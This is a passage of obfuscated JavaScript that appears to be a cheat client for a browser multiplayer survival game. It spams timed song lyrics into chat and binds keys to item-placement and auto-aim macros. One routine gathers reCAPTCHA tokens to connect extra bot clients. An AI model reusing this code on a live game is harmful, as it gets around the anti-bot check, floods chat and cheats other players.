it’s too late", delay: 167e3}, {chat: "Let out the fight,", delay: 168e3}, {chat: "right at this moment", delay: 169e3}, {chat: "I got the heart of lion", delay: 17e4}, {chat: "I know the higher you climbing", delay: 171e3}, {chat: "the harder you fall", delay: 172e3}, {chat: "I'm at the top of the mount", delay: 173e3}, {chat: "Too many bodies to count,", delay: 174e3}, {chat: "I've been through it all", delay: 175e3}, {chat: "I had to weather the storm", delay: 176e3}, {chat: "to get to level I'm on", delay: 178e3}, {chat: "That's how the legend was born", delay: 179e3}, {chat: "All of my enemies already dead", delay: 18e4}, {chat: "I'm bored, I'm ready for more", delay: 182e3}, {chat: "They know I'm ready for war", delay: 183e3}, {chat: "I told em", delay: 184e3}, {chat: "We're Taking Over,", delay: 185e3}, {chat: "We're Taking Over", delay: 186e3}, {chat: "Look at you come at my name,", delay: 192e3}, {chat: "you 'oughta know by now,", delay: 194e3}, {chat: "That We're Taking Over,", delay: 197e3}, {chat: "We're Taking Over", delay: 2e5}, {chat: "Maybe you wonder what", delay: 205e3}, {chat: "you're futures gonna be, but", delay: 206e3}, {chat: "I got it all locked up", delay: 208e3}];
  2023. } else if (cS == 1) {
  2024. cf = [{chat: "We'll be together", delay: 16428}, {chat: "'till the morning light", delay: 17431}, {chat: "Don't stand so", delay: 19430}, {chat: "Don't stand so", delay: 20537}, {chat: "Don't stand so close to me", delay: 22394}, {chat: "Baby you belong to me", delay: 37544}, {chat: "Yes you do, yes you do", delay: 40608}, {chat: "You're my affection", delay: 42118}, {chat: "I can make a woman cry", delay: 43959}, {chat: "Yes I do, yes I do", delay: 46846}, {chat: "I will be good", delay: 48323}, {chat: "You're like a cruel device", delay: 50330}, {chat: "your blood is cold like ice", delay: 51530}, {chat: "Posion for my veins", delay: 53126}, {chat: "I'm breaking my chains", delay: 54520}, {chat: "One look and you can kill", delay: 56534}, {chat: "my pain now is your thrill", delay: 58353}, {chat: "Your love is for me", delay: 60466}, {chat: "I say Try me", delay: 62135}, {chat: "take a chance on emotions", delay: 63844}, {chat: "For now and ever", delay: 65424}, {chat: "close to your heart", delay: 66521}, {chat: "I say Try me", delay: 68012}, {chat: "take a chance on my passion", delay: 69655}, {chat: "We'll be together all the time", delay: 71915}, {chat: "I say Try me", delay: 73862}, {chat: "take a chance on emotions", delay: 76381}, {chat: "For now and ever", delay: 77832}, {chat: "into my heart", delay: 79038}, {chat: "I say Try me", delay: 80568}, {chat: "take a chance on my passion", delay: 81941}, {chat: "We'll be together", delay: 83895}, {chat: "'till the morning light", delay: 85005}, {chat: "Don't stand so", delay: 87068}, {chat: "Don't stand so", delay: 88647}, {chat: "Don't stand so close to me", delay: 90090}, {chat: "Baby let me take control", delay: 106239}, {chat: "Yes I do, yes I do", delay: 108257}, {chat: "You are my target", delay: 110121}, {chat: "No one ever made me cry", delay: 111761}, {chat: "What you do, what you do", delay: 114535}, {chat: "Baby's so bad", delay: 116056}, {chat: "You're like a cruel device", delay: 118376}, {chat: "your blood is cold like ice", delay: 119797}, {chat: "Posion for my veins", delay: 121602}, {chat: "I'm breaking my chains", delay: 123250}, {chat: "One look and you can kill", delay: 124849}, {chat: "my pain now is your thrill", delay: 126381}, {chat: "Your love is for me", delay: 128096}, {chat: "I say Try me", delay: 129310}, {chat: "take a chance on emotions", delay: 131038}, {chat: "For now and ever", delay: 132844}, {chat: "close to your heart", delay: 134255}, {chat: "I say Try me", delay: 135932}, {chat: "take a chance on my passion", delay: 137255}, {chat: "We'll be together all the time", delay: 139257}, {chat: "I say Try me", delay: 141863}, {chat: "take a chance on emotions", delay: 143342}, {chat: "For now and ever into my heart", delay: 145433}, {chat: "I say Try me", delay: 148679}, {chat: "take a chance on my passion", delay: 150190}, {chat: "We'll be together", delay: 151716}, {chat: "'till the morning light", delay: 153966}, {chat: "Don't stand so", delay: 155878}, {chat: "Don't stand so", delay: 156935}, {chat: "Don't stand so close to me", delay: 158061}, {chat: "I say Try me", delay: 185081}, {chat: "take a chance on emotions", delay: 186492}, {chat: "For now and ever", delay: 188577}, {chat: "close to your heart", delay: 189819}, {chat: "I say Try me", delay: 191359}, {chat: "take a chance on my passion", delay: 193068}, {chat: "We'll be together all the time", delay: 194729}, {chat: "I say Try me", delay: 197008}, {chat: "take a chance on emotions", delay: 198865}, {chat: "For now and ever", delay: 200708}, {chat: "into my heart", delay: 201879}, {chat: "I say Try me", delay: 203396}, {chat: "take a chance on my passion", delay: 204804}, {chat: "We'll be together", delay: 206818}, {chat: "'till the morning light", delay: 208209}, {chat: "Don't stand so", delay: 210163}, {chat: "Don't stand so", delay: 211692}, {chat: "Don't stand so close to me", delay: 213290}, {chat: "Try me", delay: 228763}, {chat: "take a chance on emotions", delay: 229917}, {chat: "For now and ever", delay: 232175}, {chat: "close to your heart", delay: 233605}, {chat: "I say Try me", delay: 234494}, {chat: "take a chance on my passion", delay: 235826}, {chat: "We'll be together all the time", delay: 237819}, {chat: "I say Try me", delay: 240095}, {chat: "take a chance on emotions", delay: 241754}, {chat: "For now and ever", delay: 244041}, {chat: "into my heart", delay: 245137}, {chat: "I say Try me", delay: 246804}, {chat: "take a chance on my passion", delay: 248067}, {chat: "We'll be together", delay: 249872}, {chat: "'till the morning light", delay: 251107}, {chat: "Don't stand so", delay: 253246}, {chat: "Don't stand so", delay: 254803}, {chat: "Don't stand so close to me", delay: 256372}, {delay: 259025}, {delay: 260829}, {delay: 261174}];
  2025. } else if (cS == 2) {
  2026. cf = [{chat: "As a child you would wait", delay: 6e3}, {chat: "And watch from far away", delay: 9e3}, {chat: "But you always knew", delay: 12e3}, {chat: "that you'd be the one", delay: 14e3}, {chat: "That work while they all play", delay: 15e3}, {chat: "In youth you'd lay", delay: 18e3}, {chat: "Awake at night and scheme", delay: 21e3}, {chat: "Of all the things", delay: 24e3}, {chat: "that you would change", delay: 26e3}, {chat: "But it was just a dream", delay: 27e3}, {chat: "Here we are,", delay: 31e3}, {chat: "Don't turn away now", delay: 33e3}, {chat: "We are the warriors", delay: 37e3}, {chat: "that built this town", delay: 39e3}, {chat: "Here we are", delay: 43e3}, {chat: "Don't turn away now", delay: 45e3}, {chat: "We are the warriors", delay: 49e3}, {chat: "that built this town", delay: 51e3}, {chat: "from dust", delay: 55e3}, {chat: "The time will come", delay: 57e3}, {chat: "When you'll have to rise", delay: 58e3}, {chat: "above the best", delay: 61e3}, {chat: "and prove yourself", delay: 63e3}, {chat: "Your spirit never dies", delay: 64e3}, {chat: "Farewell, I've gone", delay: 67e3}, {chat: "to take my throne above", delay: 71e3}, {chat: "But don't weep for me", delay: 73e3}, {chat: "Cause this will be", delay: 75e3}, {chat: "The labor of my love", delay: 77e3}, {chat: "Here we are,", delay: 8e4}, {chat: "Don't turn away now", delay: 82e3}, {chat: "We are the warriors", delay: 86e3}, {chat: "that built this town", delay: 89e3}, {chat: "Here we are", delay: 92e3}, {chat: "Don't turn away now", delay: 94e3}, {chat: "We are the warriors", delay: 98e3}, {chat: "that built this town", delay: 101e3}, {chat: "from dust", delay: 104e3}, {chat: "Here we are,", delay: 129e3}, {chat: "Don't turn away now", delay: 132e3}, {chat: "We are the warriors", delay: 136e3}, {chat: "that built this town", delay: 132e3}, {chat: "Here we are", delay: 142e3}, {chat: "Don't turn away now", delay: 144e3}, {chat: "We are the warriors", delay: 148e3}, {chat: "that built this town", delay: 15e4}, {chat: "from dust", delay: 154e3}];
  2027. } else if (cS == 3) {
  2028. cf = [{chat: "Final lap", delay: 39e3}, {chat: "I'm on top of the world", delay: 4e4}, {chat: "And I will never", delay: 41e3}, {chat: "rest for second again!", delay: 42e3}, {chat: "One more time", delay: 45e3}, {chat: "I have beaten them out", delay: 46e3}, {chat: "The scent of gasoline", delay: 47e3}, {chat: "announces the end!", delay: 49e3}, {chat: "They all said", delay: 51e3}, {chat: "I'd best give it up", delay: 52e3}, {chat: "What a fool", delay: 53e3}, {chat: "to believe their lies!", delay: 54e3}, {chat: "Now they've fallen", delay: 57e3}, {chat: "and I'm at the top", delay: 58e3}, {chat: "Are you ready", delay: 59e3}, {chat: "now to die-ie-ie?!", delay: 6e4}, {chat: "I came up from the bottom,", delay: 63e3}, {chat: "and into the top", delay: 64e3}, {chat: "For the first time", delay: 65e3}, {chat: "I feel alive!", delay: 66e3}, {chat: "I can fly like an eagle,", delay: 69e3}, {chat: "and strike like a hawk!", delay: 7e4}, {chat: "Do you think you can survive", delay: 72e3}, {chat: "the top?", delay: 75e3}, {chat: "One more turn", delay: 87e3}, {chat: "and I'll settle the score", delay: 88e3}, {chat: "A rubber fire screams", delay: 89e3}, {chat: "into the night", delay: 91e3}, {chat: "Crash and burn is", delay: 93e3}, {chat: "what you're gonna do", delay: 94e3}, {chat: "I am a master of", delay: 95e3}, {chat: "the asphalt fight!", delay: 97e3}, {chat: "They all said", delay: 99e3}, {chat: "I'd best give it up", delay: 1e5}, {chat: "What a fool to", delay: 101e3}, {chat: "believe their lies!", delay: 104e3}, {chat: "Now they've fallen", delay: 105e3}, {chat: "and I'm at the top", delay: 106e3}, {chat: "Are you ready", delay: 107e3}, {chat: "now to die-ie-ie?!", delay: 108e3}, {chat: "I came up from the bottom,", delay: 11e4}, {chat: "and into the top", delay: 112e3}, {chat: "For the first time", delay: 113e3}, {chat: "I feel alive!", delay: 114e3}, {chat: "I can fly like an eagle,", delay: 117e3}, {chat: "and strike like a hawk!", delay: 118e3}, {chat: "Do you think you can survive", delay: 12e4}, {chat: "I came up from the bottom,", delay: 123e3}, {chat: "and into the top", delay: 124e3}, {chat: "For the first time", delay: 125e3}, {chat: "I feel alive!", delay: 126e3}, {chat: "I can fly like an eagle,", delay: 129e3}, {chat: "and strike like a hawk!", delay: 13e4}, {chat: "Do you think you can survive", delay: 131e3}, {chat: "the top?", delay: 134e3}, {chat: "I came up from the bottom,", delay: 171e3}, {chat: "and into the top", delay: 172e3}, {chat: "For the first time", delay: 173e3}, {chat: "I feel alive!", delay: 174e3}, {chat: "I can fly like an eagle,", delay: 177e3}, {chat: "and strike like a hawk!", delay: 178e3}, {chat: "Do you think you can survive", delay: 18e4}, {chat: "I came up from the bottom,", delay: 183e3}, {chat: "and into the top", delay: 184e3}, {chat: "For the first time", delay: 185e3}, {chat: "I feel alive!", delay: 186e3}, {chat: "I can fly like an eagle,", delay: 189e3}, {chat: "and strike like a hawk!", delay: 19e4}, {chat: "Do you think you can survive", delay: 192e3}, {chat: "the top?", delay: 194e3}, {chat: "I came up from the bottom,", delay: 23e4}, {chat: "and into the top", delay: 232e3}, {chat: "For the first time", delay: 233e3}, {chat: "I feel alive!", delay: 234e3}, {chat: "I can fly like an eagle,", delay: 237e3}, {chat: "and strike like a hawk!", delay: 238e3}, {chat: "Do you think you can survive", delay: 239e3}, {chat: "I came up from the bottom,", delay: 243e3}, {chat: "and into the top", delay: 244e3}, {chat: "For the first time", delay: 245e3}, {chat: "I feel alive!", delay: 246e3}, {chat: "I can fly like an eagle,", delay: 249e3}, {chat: "and strike like a hawk!", delay: 25e4}, {chat: "Do you think you can survive", delay: 252e3}, {chat: "the top?", delay: 255e3}];
  2029. } else if (cS == 4) {
  2030. cf = [{chat: "Here and now", delay: 12500}, {chat: "you're coming up to me", delay: 13e3}, {chat: "'Fore I'm lighting up the sky", delay: 15e3}, {chat: "Feel the ground", delay: 18e3}, {chat: "shaking underneath", delay: 19e3}, {chat: "Tryna take me alive", delay: 21e3}, {chat: "Get ready for the fallout", delay: 26e3}, {chat: "Can't stop me now", delay: 32e3}, {chat: "I got no rival", delay: 35e3}, {chat: "I'ma find my way", delay: 37e3}, {chat: "Through the blood and pain", delay: 39e3}, {chat: "Game of survival", delay: 41e3}, {chat: "Any time or place", delay: 43e3}, {chat: "Watch 'em run away", delay: 45e3}, {chat: "I got no-", delay: 47e3}, {chat: "I'll be standing on my own", delay: 48e3}, {chat: "Never gonna take my thrown", delay: 51e3}, {chat: "I got no rival", delay: 52e3}, {chat: "Watch 'em run away", delay: 55e3}, {chat: "I got no, no, no", delay: 57e3}, {chat: "I got no, no, no rival", delay: 58e3}, {chat: "No rival", delay: 71e3}, {chat: "No rival", delay: 77e3}];
  2031. }
  2032. JU = [];
  2033. cf.forEach(cA => {
  2034. JU.push(setTimeout(() => {
  2035. if (document.activeElement.id.toLowerCase() !== "chatbox") {
  2036. y4.send("ch", cA.chat);
  2037. }
  2038. }, cA.delay));
  2039. });
  2040. JG = setTimeout(() => {
  2041. Jp = ![];
  2042. }, cf[cf.length - 1].delay);
  2043. }
  2044. var Js = {w: ![], a: ![], s: ![], d: ![], y: 0, x: 0, aim: 0, status: !![], space: ![]}, Jp = ![], JU = [], JG = null;
  2045. var Jq = ![], JP = ![];
  2046. function Jg(cS, cf, cA) {
  2047. let cY = ![], cb = undefined;
  2048. return {start(cu) {
  2049. if (cu == cS && document.activeElement.id.toLowerCase() !== "chatbox" && yI && yI.alive) {
  2050. cY = !![];
  2051. if (cb === undefined) {
  2052. cb = setInterval(() => {
  2053. cf();
  2054. if (!cY) {
  2055. clearInterval(cb);
  2056. cb = undefined;
  2057. }
  2058. }, cA);
  2059. }
  2060. }
  2061. }, stop(cu) {
  2062. if (cu == cS && document.activeElement.id.toLowerCase() !== "chatbox") {
  2063. cY = ![];
  2064. }
  2065. }};
  2066. }
  2067. const JH = Jg(81, () => {
  2068. if (!TD) TR(yI.items[0]);
  2069. }, 0);
  2070. const JN = Jg(86, () => {
  2071. if (!TD) TR(yI.items[2]);
  2072. }, 0);
  2073. const Jh = Jg(70, () => {
  2074. if (yI.items[4] == 15) {
  2075. if (!TD) TR(yI.items[4], J9() + c1(45));
  2076. if (!TD) TR(yI.items[4], J9() - c1(45));
  2077. if (!TD) TR(yI.items[4]);
  2078. } else {
  2079. if (!TD) TR(yI.items[4]);
  2080. }
  2081. }, 0);
  2082. const JX = Jg(72, () => {
  2083. for (let cS = 0; cS < Math.PI * 2; cS += Math.PI / 4) {
  2084. if (!TD) TR(yI.items[5], cS);
  2085. }
  2086. }, 0);
  2087. document.getElementById("gameCanvas").addEventListener("wheel", function (cS) {
  2088. if (cS.deltaY > 0) {
  2089. V2 *= 0.95;
  2090. V3 *= 0.95;
  2091. } else {
  2092. V2 /= 0.95;
  2093. V3 /= 0.95;
  2094. }
  2095. J3();
  2096. });
  2097. window.addEventListener("keydown", y5.checkTrusted(function (cS) {
  2098. var cf = cS.which || cS.keyCode || 0;
  2099. if (yI) {
  2100. JH.start(cf);
  2101. JX.start(cf);
  2102. Jh.start(cf);
  2103. JN.start(cf);
  2104. }
  2105. if (cS.key == "=" && yI && "chatbox" !== document.activeElement.id.toLowerCase()) {
  2106. if (document.getElementById("doExternalVisuals").checked) {
  2107. V2 = 1920;
  2108. V3 = 1080;
  2109. } else {
  2110. V2 = y7.maxScreenWidth;
  2111. V3 = y7.maxScreenHeight;
  2112. }
  2113. J3();
  2114. }
  2115. cS.key == "z" && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.status = !Js.status);
  2116. 84 == cf && yI && Ta == ![] && "chatbox" !== document.activeElement.id.toLowerCase() && (Jq = !![]);
  2117. (cf == 87 || cf == 38) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.w = !![]);
  2118. (cf == 65 || cf == 37) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.a = !![]);
  2119. (cf == 83 || cf == 40) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.s = !![]);
  2120. (cf == 68 || cf == 39) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.d = !![]);
  2121. 32 == cf && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.space = !![]);
  2122. if (cS.key == "G" && yI && "chatbox" !== document.activeElement.id.toLowerCase()) {
  2123. let cA = [];
  2124. for (let cY = 0; cY < 3; cY++) {
  2125. cA.push(grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {action: "homepage"}));
  2126. }
  2127. Promise.all(cA).then(cb => {
  2128. for (let cu = 0; cu < 3; cu++) {
  2129. connectBot(cb[cu], cu);
  2130. }
  2131. });
  2132. }
  2133. if (cS.key == "Z" && yI && "chatbox" !== document.activeElement.id.toLowerCase()) {
  2134. TB = [];
  2135. nearestEnemy = [];
  2136. TS = [];
  2137. Ta = ![];
  2138. JP = ![];
  2139. df.change(![]);
  2140. dA.change(![]);
  2141. dY.change(![]);
  2142. dv = ![];
  2143. dS = ![];
  2144. dp = [];
  2145. }
  2146. if (cS.keyCode == 190 && yI && document.getElementById("syncteam").checked && Ta == ![]) {
  2147. if (nearestEnemy.length && yI.team && "chatbox" !== document.activeElement.id.toLowerCase()) {
  2148. y4.send("14", 1);
  2149. }
  2150. }
  2151. if (cS.key && cS.key == "C" && yI && "chatbox" !== document.activeElement.id.toLowerCase()) {
  2152. if (Jp == ![]) {
  2153. Jc[document.getElementById("chatType").value].currentTime = 0;
  2154. JL(document.getElementById("chatType").value);
  2155. } else {
  2156. clearTimeout(JG);
  2157. for (let cb = 0; cb < JU.length; cb++) {
  2158. clearTimeout(JU[cb]);
  2159. }
  2160. for (let cu = 0; cu < Jc.length; cu++) {
  2161. Jc[cu].pause();
  2162. Jc[cu].currentTime = 0;
  2163. }
  2164. }
  2165. Jp = !Jp;
  2166. }
  2167. 27 == cf ? dx() : yI && yI.alive && JJ() && (Jy[cf] || (Jy[cf] = 1, 69 == cf ? y4.send("7", 1) : 67 == cf ? (dL || (dL = {}), dL.x = yI.x, dL.y = yI.y) : 143 == cf ? (yI.lockDir = yI.lockDir ? 0 : 1, y4.send("7", 0)) : null != yI.weapons[cf - 49] ? JE(yI.weapons[cf - 49], !0) : null != yI.items[cf - 49 - yI.weapons.length] ? JE(yI.items[cf - 49 - yI.weapons.length]) : 81 == cf ? JE(yI.items[0]) : 82 == cf ? JO() : JV[cf] ? JZ() : 32 == cf && (yE = 1)));
  2168. })), window.addEventListener("keyup", y5.checkTrusted(function (cS) {
  2169. if (yI && yI.alive) {
  2170. var cf = cS.which || cS.keyCode || 0;
  2171. JH.stop(cf);
  2172. JX.stop(cf);
  2173. Jh.stop(cf);
  2174. JN.stop(cf);
  2175. 84 == cf && "chatbox" !== document.activeElement.id.toLowerCase() && (Jq = ![], y4.send("33", null));
  2176. (cf == 87 || cf == 38) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.w = ![]);
  2177. (cf == 65 || cf == 37) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.a = ![]);
  2178. (cf == 83 || cf == 40) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.s = ![]);
  2179. (cf == 68 || cf == 39) && yI && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.d = ![]);
  2180. 32 == cf && "chatbox" !== document.activeElement.id.toLowerCase() && (Js.space = ![]);
  2181. 13 == cf ? dm() : JJ() && Jy[cf] && (Jy[cf] = 0, JV[cf] ? JZ() : 32 == cf && (yE = 0));
  2182. }
  2183. }));
  2184. var JF = void 0;
  2185. function JZ() {
  2186. var cS = function () {
  2187. var cf = 0, cA = 0;
  2188. if (-1 != yC.id) cf += yC.currentX - yC.startX, cA += yC.currentY - yC.startY; else for (var cY in JV) {
  2189. var cb = JV[cY];
  2190. cf += !!Jy[cY] * cb[0], cA += !!Jy[cY] * cb[1];
  2191. }
  2192. return 0 == cf && 0 == cA ? void 0 : y5.fixTo(Math.atan2(cA, cf), 2);
  2193. }();
  2194. if (JF == null || cS == null || Math.abs(cS - JF) > 0.3) {
  2195. if (JP == ![]) {
  2196. y4.send("33", cS);
  2197. JF = cS;
  2198. } else {
  2199. y4.send("33", Tj);
  2200. }
  2201. }
  2202. }
  2203. var Jz = ![];
  2204. function JO() {
  2205. Jz = !Jz;
  2206. }
  2207. function JE(cS, cf) {
  2208. y4.send("5", cS, cf);
  2209. }
  2210. var JI = !0;
  2211. function JM(cS) {
  2212. VH.style.display = "none", VP.style.display = "block", V5.style.display = "none", Jy = {}, yM = cS, yE = 0, V4 = !0, JI && (JI = !1, yQ.length = 0);
  2213. }
  2214. function JK(cS, cf, cA, cY) {
  2215. yL.showText(cS, cf, 50, 0.18, document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 1 ? 2e3 : 500, Math.abs(cA), cA >= 0 ? "#fff" : "#8ecc51");
  2216. }
  2217. var Jr = 99999;
  2218. function Jw() {
  2219. V4 = !1;
  2220. try {
  2221. factorem.refreshAds([2], !0);
  2222. } catch (cS) {}
  2223. VN.style.display = "none", dx(), dT = {x: yI.x, y: yI.y}, VH.style.display = "none", VY.style.display = "block", VY.style.fontSize = "0px", Jr = 0, setTimeout(function () {
  2224. VP.style.display = "block", V5.style.display = "block", VY.style.display = "none";
  2225. }, y7.deathFadeout), d4();
  2226. }
  2227. function JR(cS) {
  2228. yI && Va.removeAllItems(cS);
  2229. }
  2230. function Jv(cS) {
  2231. let cf = cZ(cS);
  2232. if (document.getElementById("autogrind").checked == ![]) {
  2233. if (cf && Math.hypot(cf.y - yI.y2, cf.x - yI.x2) < 300 && document.getElementById("autoreplace").checked == !![]) {
  2234. if (nearestEnemy.length && cN(nearestEnemy, yI) < 200) {
  2235. if (cN(nearestEnemy, yI) < 140 && Ta == ![] && yI.primary.reload == 1 && yI.primary.dmg >= 40) {
  2236. TR(yI.items[2], Math.hypot(cf.x - yI.x, cf.y - cf.y));
  2237. Ta = !![];
  2238. db(7, 0);
  2239. db(yI.tails[21] ? 21 : 0, 1);
  2240. dY.change(![]);
  2241. JE(yI.weapons[0], !![]);
  2242. dA.change(!![]);
  2243. y4.send("7", 1);
  2244. setTimeout(() => {
  2245. y4.send("7", 1);
  2246. dA.change(![]);
  2247. dY.change(![]);
  2248. Ta = ![];
  2249. }, 240);
  2250. } else {
  2251. TR(yI.items[4], Math.hypot(cf.x - yI.x, cf.y - cf.y));
  2252. }
  2253. TR(yI.items[2], Tj);
  2254. for (let cA = Tj - Math.PI / 3 + Math.PI; cA < Tj + Math.PI / 3 + Math.PI; cA += Math.PI / 18 + Math.PI) {
  2255. TR(yI.items[2], cA);
  2256. }
  2257. }
  2258. for (let cY = Tj - Math.PI / 3; cY < Tj + Math.PI / 3; cY += Math.PI / 16) {
  2259. TR(yI.items[2], cY);
  2260. TR(yI.items[2], -cY);
  2261. }
  2262. if (yI.items[4] == 15) {
  2263. for (let cb = 0; cb < Math.PI * 2; cb += Math.PI / 12) {
  2264. TR(yI.items[4], cb);
  2265. TR(yI.items[4], -cb);
  2266. }
  2267. }
  2268. }
  2269. } else {
  2270. if (Math.hypot(cf.y - yI.y2, cf.x - yI.x2) < 300) {
  2271. for (let cu = 0; cu < Math.PI * 2; cu += Math.PI / 2) {
  2272. TR(yI.items[5] ? yI.items[5] : yI.items[3], cu);
  2273. }
  2274. }
  2275. }
  2276. Va.disableBySid(cS);
  2277. }
  2278. function JS() {
  2279. VF.innerText = yI.food;
  2280. VZ.innerText = yI.wood;
  2281. Vz.innerText = yI.stone;
  2282. VX.innerText = yI.points;
  2283. VO.innerText = yI.kills;
  2284. }
  2285. var Jf = {}, JA = ["crown", "skull", "crosshair"], JY = [];
  2286. function Jb(cS, cf) {
  2287. if (yI.upgradePoints = cS, yI.upgrAge = cf, cS > 0) {
  2288. JY.length = 0, y5.removeAllChildren(Vw);
  2289. for (var cA = 0; cA < y9.weapons.length; ++cA) y9.weapons[cA].age == cf && (y5.generateElement({id: "upgradeItem" + cA, class: "actionBarItem", onmouseout: function () {
  2290. dJ();
  2291. }, parent: Vw}).style.backgroundImage = document.getElementById("actionBarItem" + cA).style.backgroundImage, JY.push(cA));
  2292. for (cA = 0; cA < y9.list.length; ++cA) if (y9.list[cA].age == cf) {
  2293. var cY = y9.weapons.length + cA;
  2294. y5.generateElement({id: "upgradeItem" + cY, class: "actionBarItem", onmouseout: function () {
  2295. dJ();
  2296. }, parent: Vw}).style.backgroundImage = document.getElementById("actionBarItem" + cY).style.backgroundImage, JY.push(cY);
  2297. }
  2298. for (cA = 0; cA < JY.length; cA++) !function (cb) {
  2299. var cu = document.getElementById("upgradeItem" + cb);
  2300. cu.onmouseover = function () {
  2301. y9.weapons[cb] ? dJ(y9.weapons[cb], !0) : dJ(y9.list[cb - y9.weapons.length]);
  2302. }, cu.onclick = y5.checkTrusted(function () {
  2303. y4.send("6", cb);
  2304. }), y5.hookTouchEvents(cu);
  2305. }(JY[cA]);
  2306. JY.length ? (Vw.style.display = "block", VR.style.display = "block", VR.innerHTML = "SELECT ITEMS (" + cS + ")") : (Vw.style.display = "none", VR.style.display = "none", dJ());
  2307. } else Vw.style.display = "none", VR.style.display = "none", dJ();
  2308. }
  2309. function Ju(cS, cf, cA) {
  2310. null != cS && (yI.XP = cS), null != cf && (yI.maxXP = cf), null != cA && (yI.age = cA), cA == y7.maxAge ? (VK.innerHTML = "MAX AGE", Vr.style.width = "100%") : (VK.innerHTML = "AGE " + yI.age, Vr.style.width = yI.XP / yI.maxXP * 100 + "%");
  2311. }
  2312. function Jx(cS) {
  2313. y5.removeAllChildren(VE);
  2314. for (var cf = 1, cA = 0; cA < cS.length; cA += 3) !function (cY) {
  2315. y5.generateElement({class: "leaderHolder", parent: VE, children: [y5.generateElement({class: "leaderboardItem", style: "color:" + (cS[cY] == yM ? "#fff" : "rgba(255,255,255,0.6)"), text: cf + ". " + ("" != cS[cY + 1] ? cS[cY + 1] : "unknown")}), y5.generateElement({class: "leaderScore", text: y5.kFormat(cS[cY + 2]) || "0"})]});
  2316. }(cA), cf++;
  2317. }
  2318. function Ji(cS, cf, cA, cY) {
  2319. VL.save(), VL.setTransform(1, 0, 0, 1, 0, 0), VL.scale(yA, yA);
  2320. var cb = 50;
  2321. VL.beginPath(), VL.arc(cS, cf, cb, 0, 2 * Math.PI, !1), VL.closePath(), VL.fillStyle = "rgba(255, 255, 255, 0.3)", VL.fill(), cb = 50;
  2322. var cu = cA - cS, cx = cY - cf, cQ = Math.sqrt(Math.pow(cu, 2) + Math.pow(cx, 2)), ck = cQ > cb ? cQ / cb : 1;
  2323. cu /= ck, cx /= ck, VL.beginPath(), VL.arc(cS + cu, cf + cx, 0.5 * cb, 0, 2 * Math.PI, !1), VL.closePath(), VL.fillStyle = "white", VL.fill(), VL.restore();
  2324. }
  2325. function JQ(cS, cf, cA) {
  2326. for (var cY = 0; cY < yk.length; ++cY) (yK = yk[cY]).active && yK.layer == cS && (yK.update(yZ), yK.active && TI(yK.x - cf, yK.y - cA, yK.scale) && (VL.save(), VL.translate(yK.x - cf, yK.y - cA), VL.rotate(yK.dir), Jl(0, 0, yK, VL, 1), VL.restore()));
  2327. }
  2328. var Jk = {};
  2329. function Jl(cS, cf, cA, cY, cb) {
  2330. if (cA.src) {
  2331. var cu = y9.projectiles[cA.indx].src, cx = Jk[cu];
  2332. cx || ((cx = new Image).onload = function () {
  2333. this.isLoaded = !0;
  2334. }, cx.src = ".././img/weapons/" + cu + ".png", Jk[cu] = cx), cx.isLoaded && cY.drawImage(cx, cS - cA.scale / 2, cf - cA.scale / 2, cA.scale, cA.scale);
  2335. } else 1 == cA.indx && (cY.fillStyle = "#939393", TL(cS, cf, cA.scale, cY));
  2336. }
  2337. function Ja(cS, cf, cA, cY) {
  2338. var cb = y7.riverWidth + cY, cu = y7.mapScale / 2 - cf - cb / 2;
  2339. cu < V3 && cu + cb > 0 && cA.fillRect(0, cu, V2, cb);
  2340. }
  2341. function Jo(cS, cf, cA) {
  2342. for (var cY, cb, cu, cx = 0; cx < yQ.length; ++cx) (yK = yQ[cx]).active && (cb = yK.x + yK.xWiggle - cf, cu = yK.y + yK.yWiggle - cA, 0 == cS && yK.update(yZ), yK.layer == cS && TI(cb, cu, yK.scale + (yK.blocker || 0)) && (VL.globalAlpha = yK.hideFromEnemy ? 0.6 : 1, yK.isItem ? (cY = Tc(yK), VL.save(), VL.translate(cb, cu), VL.rotate(VL.rotate(Math.atan2(Math.sin(yK.dir), Math.cos(yK.dir)))), VL.drawImage(cY, -cY.width / 2, -cY.height / 2), yK.blocker && (VL.strokeStyle = "#db6e6e", VL.globalAlpha = 0.3, VL.lineWidth = 6, TL(0, 0, yK.blocker, VL, !1, !0)), VL.restore()) : (cY = TJ(yK), VL.drawImage(cY, cb - cY.width / 2, cu - cY.height / 2))));
  2343. }
  2344. var JD = [];
  2345. function JW(cS) {
  2346. for (let cf = 0; cf < JD.length; cf++) JD[cf](cS);
  2347. JD = [];
  2348. }
  2349. function Jm() {
  2350. return new Promise(function (cS, cf) {
  2351. JD.push(cS), setTimeout(function () {
  2352. cf();
  2353. }, 50);
  2354. });
  2355. }
  2356. function JB(cS, cf, cA) {
  2357. let cY = cX(cS).skinIndex == 40 ? 3.3 : 1;
  2358. let cb = y9.weapons[cA].dmg * (cA == 10 ? 7.5 : 1) * cY;
  2359. (yK = cX(cS)) && (yK.startAnim(cf, cA), JW(cb));
  2360. }
  2361. function Jj() {
  2362. let cS = yI.weapons[1] == 10 ? 10 : yI.weapons[0];
  2363. if (Ta == !![]) {
  2364. return Tj;
  2365. } else if (TD == !![]) {
  2366. if (TC == Number.MAX_VALUE) {
  2367. return Math.atan2(yj - yS / 2, yB - yv / 2);
  2368. } else {
  2369. if (cS == 10 ? yI.secondary.reload == 1 : yI.primary.reload == 1) {
  2370. return TC;
  2371. } else {
  2372. return Math.atan2(yj - yS / 2, yB - yv / 2);
  2373. }
  2374. }
  2375. } else if (yI.primary.reload == 1 && (c0 == "auto bull spam" || c0 == "oneticking")) {
  2376. return Tj;
  2377. } else {
  2378. return Math.atan2(yj - yS / 2, yB - yv / 2);
  2379. }
  2380. }
  2381. function JC(cS, cf, cA) {
  2382. VL.globalAlpha = 1;
  2383. for (var cY = 0; cY < yu.length; cY++) {
  2384. yK = yu[cY];
